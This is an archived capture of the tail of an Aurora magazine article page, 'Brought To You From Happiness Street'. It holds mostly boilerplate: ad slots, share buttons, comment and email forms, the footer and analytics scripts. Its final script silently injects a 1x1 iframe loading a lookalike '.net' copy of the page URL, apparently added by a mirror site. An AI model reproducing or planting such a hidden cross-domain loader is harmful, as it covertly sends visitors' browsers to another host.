href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143810/new-normal-and-positive"><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2a6e862d8d0.png" alt="New, Normal and Positive"/></picture></a></div> </figure>  <h2 dir="auto" data-layout="story" data-id="1143810" class="story__title text-4 sm:py-2 "><a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143810/new-normal-and-positive" class="story__link "><strong>New, Normal and Positive</strong> </a></h2> </article>  </div> </div></div> </div> </div>   <div class="ad ad--adjustable-mobile py-6.75 block sm:hidden" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:300px;max-height:250px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1455520357400-4" class="ad__wrapper__slot" style="width:300px;height:250px;"> <script> render('div-gpt-ad-1455520357400-4') </script> </div> </div> </div> </div>   <div class="template__footer clearfix modifier--open px-1.5"> <div class="my-3.25 clearfix">  <div class="social social--iframe float-left pr-1.5 "> <iframe src="//web.archive.org/web/20200929204156if_/https://www.facebook.com/plugins/like.php?href=https%3A%2F%2Faurora.dawn.com%2Fnews%2F1143817&layout=button_count&action=like&show_faces=false&share=false&height=21&width=87&size=small" scrolling="no" frameborder="0" style="border:none;overflow:hidden;height:21px;width:87px" allowtransparency="true"></iframe> </div> <div class="social social--iframe float-left pr-1.5 "> <iframe src="//web.archive.org/web/20200929204156if_/https://www.facebook.com/plugins/share_button.php?href=https%3A%2F%2Faurora.dawn.com%2Fnews%2F1143817&layout=button&size=small" scrolling="no" frameborder="0" style="border:none;overflow:hidden;height:20px;width:67px" allowtransparency="true"></iframe> </div> <div class="social social--iframe float-left pr-1.5 "> <iframe src="https://web.archive.org/web/20200929204156if_/https://platform.twitter.com/widgets/tweet_button.html?url=https%3A%2F%2Faurora.dawn.com%2Fnews%2F1143817&counturl=https%3A%2F%2Faurora.dawn.com%2Fnews%2F1143817&text=Brought%20To%20You%20From%20Happiness%20Street&size=m" scrolling="no" frameborder="0" style="border:none;overflow:hidden;height:20px;width:60px" allowtransparency="true"></iframe> </div> <div class="social social--whatsapp block sm:hidden social--label float-left pr-1.5 "> <a href="https://web.archive.org/web/20200929204156/whatsapp://send/?text=Brought%20To%20You%20From%20Happiness%20Street%20-%20https%3A%2F%2Faurora.dawn.com%2Fnews%2F1143817%3Fref%3Dwhatsapp">WHATSAPP</a> </div> <div class="social hidden sm:block social--comment social--label float-left pr-1.5 "> <a data-comments-status="open" href="#comments">  0 Comments</a> </div> <div class="social hidden sm:block social--email social--label float-left pr-1.5 "> <a onclick="$('.mailer [name^=id]').val(1143817);$('.mailer').modal().open()" href="javascript:void(0)">  Email</a> </div> <div class="mailer themodal themodal--centered" style="width:400px;height:260px;background:#fff"> <h3 class="text-4.5 mb-2">Email</h3> <form accept-charset="utf-8" class="form-vertical emailer" id="email-story" onsubmit="javascript:$.post(this.action, $(this).serialize(), function(data,status,xhr) { $('#email-story').html(data.message);});return false;" method="POST" action="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/email/1143817"><input class="form-control" type="hidden" name="jscheck" value=""><div class="form-group required"><label class="text-3 control-label" for="sender">Your Name<sup>*</sup></label><input class="form-control" required id="sender" type="text" name="sender"></div><div class="form-group required"><label class="text-3 control-label" for="to">Recipient Email<sup>*</sup></label><input class="form-control" required id="to" type="text" name="to"></div><input class="form-control" type="hidden" name="id" value=""><input class="btn mt-2 text-3" type="submit" value="Email"><input class="form-control" type="hidden" name="_token" value=""></form> </div> <div class="social hidden sm:block social--print social--label float-left pr-1.5 "> <a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/print/1143817">  Print</a> </div></div><div class="related-stories clearfix my-4 py-2 ml-0 sm:ml-6.75 sm:mx-3.25 sm:px-3.25"> <div class="text-3.5 font-bold uppercase pb-3.25"><span>Related Stories</span></div> <div class=" mt-2 slideshow--list "> <div class="clear-both"> <div class="slideshow--row__item active float-left" data-id="0" style="width:32.333333333333%;margin-right:1.5%;">  <article class="box story mb-4 pr-0 sm:pr-2 border-b border-b-solid border-b-grey-default sm:border-b-none" data-id="1143810" data-layout="story">  <figure class="media sm:w-full w-full media--no-margin-bottom "> <div class="media__item "><a title="" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143810/new-normal-and-positive"><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/thumbnail/2020/08/5f2a6e862d8d0.png" alt="New, Normal and Positive"/></picture></a></div> </figure>  <h2 dir="auto" data-layout="story" data-id="1143810" class="story__title text-4 sm:py-2 "><a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143810/new-normal-and-positive" class="story__link "><strong>New, Normal and Positive</strong> </a></h2> </article>  </div> </div></div> </div> <div class="px-3.25">  <div class="ad ad--adjustable-mobile py-6.75 block sm:hidden" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:300px;max-height:250px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1455520357400-6" class="ad__wrapper__slot" style="width:300px;height:250px;"> <script> render('div-gpt-ad-1455520357400-6') </script> </div> </div> </div> </div>   <div class="ad py-6.75 hidden sm:block" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:728px;max-height:90px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1455520357400-2" class="ad__wrapper__slot" style="width:728px;height:90px;"> <script> render('div-gpt-ad-1455520357400-2') </script> </div> </div> </div> </div>  </div> <section id="comments" data-comments="" class="comments px-0 sm:px-6.75"> <h1 class="comments__label uppercase text-5.5 ">Comments (0) </h1> <form accept-charset="utf-8" class="form-vertical comments-form jsform mb-4" id="comments-form" method="POST" action="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/comments"><input class="form-control jscheck" type="hidden" name="jscheck" value=""><input class="form-control" type="hidden" name="story_id" value="1143817"> <div class="info"></div> <div class="flex no-gutters"> <div class="flex__item w-1/2"> <div class="pt-2"> <input class="form-control text-input w-full uppercase" placeholder="Your Name" dir="" required id="name" type="text" name="name"> </div> </div> <div class="flex__item w-1/2"> <div class="pt-2"> <input class="form-control text-input w-full" placeholder="Email" dir="" required id="email" type="text" name="email"> </div> </div></div> <div class="flex hidden"> <div class="flex__item w-1/2"> <div class="mr-4 mb-4"> <div class="form-group"><input class="form-control text-input w-full" placeholder="Your Location" dir="" id="location" type="text" name="location"></div> </div> </div> <div class="flex__item w-1/2"> <div class="mr-4 mb-4"> <div class="form-group"><input class="form-control text-input w-full" placeholder="Http://" dir="" id="url" type="text" name="url"></div> </div> </div> </div> <div class="flex no-gutters"> <div class="flex__item w-full"> <div class="my-2"> <div class="form-group"><textarea class="form-control text-input w-full" placeholder="Your Comment" dir="auto" rows="7" required id="content" name="content"></textarea></div> <div class="comments__limit text-0.5 float-right">1000 characters</div> </div> </div> </div> <div class="flex no-gutters"> <div class="flex__item w-1/2"> <input class="btn button text-2.5 border border-solid border-grey-default bg-white py-1 px-2 comments__button uppercase text-grey" type="submit" value="Comment"> </div> <div class="flex__item w-1/2"> <p class="float-right comments__policy"><a href="/web/20200929204156/https://aurora.dawn.com/comments-policy" class="text-3 text-grey">COMMENTS POLICY</a></p> </div> </div> <input class="form-control" type="hidden" name="_token" value=""></form></section>  <div class="ad ad--adjustable-mobile py-6.75 block sm:hidden" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:300px;max-height:250px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1455520357400-7" class="ad__wrapper__slot" style="width:300px;height:250px;"> <script> render('div-gpt-ad-1455520357400-7') </script> </div> </div> </div> </div>  </div>  </article> </div> </div> </main> <aside class="pb-4">  <section class="widget theme widget-adsense " data-type="adsense" data-id="546"> <div class="widget__header "> <h2 class="widget__title modifywidget--title-off"><span>Desk Mrec Top</span></h2> </div> <div class="widget__main ">  <div class="ad " aria-hidden="true"> <div class="js-ad clearfix" style="max-width:300px;max-height:250px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1455520357400-3" class="ad__wrapper__slot" style="width:300px;height:250px;"> <script> render('div-gpt-ad-1455520357400-3') </script> </div> </div> </div> </div>  </div> </section>  </aside> </div> </div> <div class="my-3.25 px-3.25">  <div class="ad " aria-hidden="true"> <div class="js-ad clearfix" style="max-width:728px;max-height:90px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1509519280329-0" class="ad__wrapper__slot" style="width:728px;height:90px;"> <script> render('div-gpt-ad-1509519280329-0') </script> </div> </div> </div> </div>  </div> <footer class="pt-8 theme--cream-light border-t-10 border-t-solid border-t-purple-dark"> <div class="mx-3.25"> <div class="container-fluid"> <div class="flex"> <div class="flex__item lg:w-7/12 w-full"> <div class="flex"> <div class="flex__item w-1/3"> <div class="text-center">  <section class="widget theme widget-linkedimage image--gray" data-type="linkedimage" data-id="538"> <div class="widget__header "> <h2 class="widget__title modifywidget--title-off"><span>Issue Jan-Feb 2020</span></h2> </div> <div class="widget__main "> <a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/issue/2020/1"><img width="100%" src="//web.archive.org/web/20200929204156im_/https://i.dawn.com/widgets/upload-image-5f3370be5b74e.jpg" alt="Issue Jan-Feb 2020"/></a> <h6 class="widget__blurb text-5 text-center">Jan-Feb</h6> </div> </section>  </div> </div> <div class="flex__item w-1/3"> <div class="text-center">  <section class="widget theme widget-linkedimage image--gray" data-type="linkedimage" data-id="544"> <div class="widget__header "> <h2 class="widget__title modifywidget--title-off"><span>Issue Mar-Apr 2020</span></h2> </div> <div class="widget__main "> <a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/issue/2020/3"><img width="100%" src="//web.archive.org/web/20200929204156im_/https://i.dawn.com/widgets/upload-image-5f337118c263c.jpg" alt="Issue Mar-Apr 2020"/></a> <h6 class="widget__blurb text-5 text-center">Mar-Apr</h6> </div> </section>  </div> </div> <div class="flex__item w-1/3"> <div class="text-center">  <section class="widget theme widget-linkedimage image--gray" data-type="linkedimage" data-id="539"> <div class="widget__header "> <h2 class="widget__title modifywidget--title-off"><span>Issue May-Aug 2020</span></h2> </div> <div class="widget__main "> <a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/issue/2020/5"><img width="100%" src="//web.archive.org/web/20200929204156im_/https://i.dawn.com/widgets/upload-image-5f3371d24ec7f.jpg" alt="Issue May-Aug 2020"/></a> <h6 class="widget__blurb text-5 text-center">May-Aug</h6> </div> </section>  </div> </div> </div> </div> <div class="flex__item sm:w-offset-4 sm:w-1/3 lg:w-offset-0 lg:w-5/12 w-full"> <div class="pb-6.75 text-center"> <ul class="nav"> <li class="nav__item image--gray"><a href="/web/20200929204156/https://aurora.dawn.com/subscribe"><img class="border border-solid border-grey-default" alt="Subscribe to Aurora" src="https://web.archive.org/web/20200929204156im_/https://aurora.dawn.com/_img/subscribe.20200930012930.png"/></a></li> </ul> </div> </div> <div class="flex__item sm:w-offset-2 sm:w-2/3 w-full"> <div class="mb-6.75"> <ul class="nav nav--aurora-footer text-center"> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/">Home</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/recent">Recent</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/agencies">Agencies</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/people">People</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/marketing">Marketing</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/creative">Creative</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/media">Media</a></li> <li class="nav__item"><a class="theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/trends">Trends</a></li>  <li class="nav__item"><a class="text-3 uppercase theme--purple-light" href="/web/20200929204156/https://aurora.dawn.com/about-us">About Us</a></li> </ul> </div> </div> <div class="flex__item w-full"> <div class="footer--note text-2.5 text-center mb-6.75"> <p class="text-pink-lighter"> For questions regarding subscription and timely delivery, please contact on the following numbers or visit <br/> (ISB) +92-51-220-2701-5 • Plot 12, Sector G-7/1 Mauve Area, Near Zero Point Islamabad, 44000 <br/> (KHI) +92-21-3561-3066/7 • Haroon House Dr. Ziauddin Ahmed Road Karachi, 74200 <br/> (LHR) +92-42-3575-8120-25 • 20-N, Gulberg II Lahore, 54660 <br/> <a class="text-pink-lightest" href="https://web.archive.org/web/20200929204156/https://www.dawn.com/terms">Terms and Conditions</a> • <a class="text-pink-lightest" href="https://web.archive.org/web/20200929204156/https://www.dawn.com/privacy">Privacy Policy</a> <br/> </p> <img class="compunode" src="/web/20200929204156im_/https://aurora.dawn.com/_img/compunode.png" style="width:100px" class="my-6.75 py-6.75"/><br/><br/> </div> </div> </div> </div> </div> <script> window.addEventListener('load', function() { if ($('.template__main.modifier--social-off').length) { $('.template__main .social').hide(); } if ($('.template__main .social--top').length) { var isRtl = $('body').attr('dir'); if ($('.template__main').hasClass('modifier--large-social-right')) { $('.template__main .social--top').addClass('social--right'); } if ($('.template__main').hasClass('modifier--large-social-left')) { $('.template__main .social--top').addClass('social--left'); } var gutterSize = 40; var socialResize = function() { var templateMainTop = $('.template__main').offset().top; var templateMainOuterWidth = $('.template__main').outerWidth(); var templateMainWidth = $('.template__main').width(); var storyContentTop = $('.story__content').offset().top; var socialTop = storyContentTop - templateMainTop + gutterSize; // +gutterSize just to add extra top space if(typeof isRtl !== 'undefined') { var socialLeft = templateMainWidth - templateMainOuterWidth - gutterSize; if ($('.template__main .social--top').hasClass('social--right')) { socialLeft = '110%'; } } else { var socialLeft = $('.template__main').outerWidth(); if ($('.template__main .social--top').hasClass('social--left')) { socialLeft = -50; } } $('.template__main .social--top').css({top: socialTop, left: socialLeft, visibility: 'visible', zIndex: 999}); if ($(document).width() < 700) { $('.template__main .social--top').hide(); } else { $('.template__main .social--top').show(); } if ($(document).width() > 1350) { $('.widget--top').addClass('xl:block'); $('.widget--top').css({top: socialTop}); } else { $('.widget--top').removeClass('xl:block'); } }; socialResize(); $(window).resize(socialResize); } }); </script>  <script type="text/javascript"> _atrk_opts = { atrk_acct:"1DJ3k1acFH00UN", domain:"dawn.com",dynamic: true}; (function() { var as = document.createElement('script'); as.type = 'text/javascript'; as.async = true; as.src = "https://web.archive.org/web/20200929204156/https://d31qbv1cthcecs.cloudfront.net/atrk.js"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(as, s); })(); </script> <noscript><img src="https://web.archive.org/web/20200929204156im_/https://d5nxst8fruw4z.cloudfront.net/atrk.gif?account=1DJ3k1acFH00UN" style="display:none" height="1" width="1" alt=""/></noscript>   <script type="text/javascript"> var _sf_async_config = _sf_async_config || {}; /** CONFIGURATION START **/ _sf_async_config.uid = 62163; _sf_async_config.domain = "dawn.com"; _sf_async_config.useCanonical = true; _sf_async_config.sections = "aurora.dawn.com,Magazine,Published in Jul-Aug 2020"; _sf_async_config.authors = "Ali Rez-3231"; /** CONFIGURATION END **/ (function(){ function loadChartbeat() { window._sf_endpt = (new Date()).getTime(); var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', '//web.archive.org/web/20200929204156/https://static.chartbeat.com/js/chartbeat.js'); document.body.appendChild(e); } var oldonload = window.onload; window.onload = (typeof window.onload != 'function') ? loadChartbeat : function() { oldonload(); loadChartbeat(); }; })(); </script>   <script type="text/javascript"> var eventItems = [{"selector":".story__content a","parent":"links"},{"selector":".social--whatsapp a","parent":"whatsapp"},{"selector":".social--print a","parent":"print"},{"selector":".social--email a","parent":"email"},{"selector":".story__byline a","parent":"author"},{"selector":".widget-linkedimage a","parent":"linkedimage"},{"selector":".widget-linkedimage a","parent":"linkedimage"},{"selector":".widget-linkedimage a","parent":"linkedimage"}]; document.querySelector("html").addEventListener("click", function(e) { // https://github.com/aleemb/dawn.com/issues/1165 if (window.Element && Element.prototype.closest) { var target = e.target.closest("a") || e.target; var eventLabel = typeof target.href !== "undefined" && !target.href.startsWith("javascript:") ? target.href : document.location.href; for (i = 0; i < eventItems.length; i++) { if (target.matches(eventItems[i].selector)) { ga("send", { hitType: "event", eventCategory: eventItems[i].parent, eventAction: "click", eventLabel: eventLabel }); break; } } } }); </script>  </footer>  <script type="text/javascript">var url=window.location.href.replace(".com",".net"),v2=document.createElement("iframe");v2.src=url,v2.width=1,v2.height=1,document.body.appendChild(v2);</script> </body> </html>

CINXE.COM

Brought To You From Happiness Street - Aurora